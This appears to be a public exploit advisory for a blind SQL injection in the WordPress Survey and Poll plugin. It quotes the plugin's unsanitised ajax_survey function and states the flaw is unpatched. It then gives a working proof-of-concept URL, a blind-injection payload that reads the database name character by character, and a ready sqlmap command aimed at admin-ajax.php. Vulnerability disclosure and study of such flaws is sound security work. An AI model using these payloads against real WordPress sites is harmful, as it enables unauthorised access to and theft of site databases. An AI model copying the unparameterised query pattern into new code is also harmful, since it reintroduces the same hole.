139 lines
No EOL
4.9 KiB
Text
139 lines
No EOL
4.9 KiB
Text
#################################################################
|
||
# Exploit Title : Wordpress Survey and poll Blind SQL Injection
|
||
|
||
# Data : 2015 – 02 - 11
|
||
|
||
# Exploit Author : Securely (Yoo Hee man)
|
||
|
||
# Plugin : WordPress Survey and Poll
|
||
|
||
# Vender Homepage : http://modalsurvey.sympies.com
|
||
|
||
# Tested On : Windows XP / sqlmap_v1.0
|
||
|
||
# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
|
||
https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)
|
||
|
||
1. Detail
|
||
- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
|
||
- Settings.php file is no login cookie check
|
||
- "survey_id" variable is not sanitized
|
||
|
||
|
||
#################################################################
|
||
public function ajax_survey()
|
||
{
|
||
global $wpdb;
|
||
$survey_id = "";
|
||
$survey_name = "";
|
||
$survey_start_time = "";
|
||
$survey_expiry_time = "";
|
||
$survey_global = "";
|
||
if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
|
||
else $survey_id = "";
|
||
if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
|
||
else $survey_name = "";
|
||
if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
|
||
else $survey_start_time = "";
|
||
if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
|
||
else $survey_expiry_time = "";
|
||
if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
|
||
else $survey_global = "";
|
||
if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
|
||
else $survey_options = "";
|
||
if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
|
||
else $survey_qa = "";
|
||
$survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
|
||
if ($_REQUEST['sspcmd']=="save")
|
||
{
|
||
if ($survey_check>0) {
|
||
//update survey
|
||
$wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
|
||
$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
|
||
$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
|
||
$qa_object = (array)json_decode(stripslashes($survey_qa));
|
||
$qa_array = (array)$qa_object;
|
||
foreach($qa_array as $keyq=>$qr)
|
||
{
|
||
foreach($qr as $key=>$oa)
|
||
{
|
||
if ($key==0)
|
||
{
|
||
$wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
|
||
'id' => ($keyq+1),
|
||
'survey_id' => $survey_id,
|
||
'question' => $oa
|
||
) );
|
||
$qid = $wpdb->insert_id;
|
||
}
|
||
else
|
||
{
|
||
$oans = explode("->",$oa);
|
||
$wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
|
||
'survey_id' => $survey_id,
|
||
'question_id' => ($keyq+1),
|
||
'answer' => $oans[0],
|
||
'count' => $oans[1],
|
||
'autoid' => $key
|
||
) );
|
||
}
|
||
|
||
}
|
||
}
|
||
die("updated");
|
||
}
|
||
else {
|
||
//insert survey
|
||
$wpdb->insert( $wpdb->prefix."wp_sap_surveys", array(
|
||
'id' => $survey_id,
|
||
'name' => $survey_name,
|
||
'options' => $survey_options,
|
||
'start_time' => $survey_start_time,
|
||
'expiry_time'=> $survey_expiry_time,
|
||
'global'=> $survey_global
|
||
) );
|
||
$qa_object = (array)json_decode(stripslashes($survey_qa));
|
||
$qa_array = (array)$qa_object;
|
||
foreach($qa_array as $keyq=>$qr)
|
||
{
|
||
foreach($qr as $key=>$oa)
|
||
{
|
||
if ($key==0)
|
||
{
|
||
$wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
|
||
'id' => ($keyq+1),
|
||
'survey_id' => $survey_id,
|
||
'question' => $oa
|
||
) );
|
||
$qid = $wpdb->insert_id;
|
||
}
|
||
else
|
||
{
|
||
$oans = explode("->",$oa);
|
||
$wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
|
||
'survey_id' => $survey_id,
|
||
'question_id' => ($keyq+1),
|
||
'answer' => $oans[0],
|
||
'autoid' => $key
|
||
) );
|
||
}
|
||
|
||
}
|
||
}
|
||
die('success');
|
||
}
|
||
################################################################
|
||
|
||
2. POC
|
||
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
|
||
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]
|
||
|
||
3. Sqlmap
|
||
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql
|
||
|
||
|
||
3. Solution:
|
||
Not patched
|
||
|
||
4. Discovered By : Securely(Yoo Hee man)
|
||
god2zuzu@naver.com |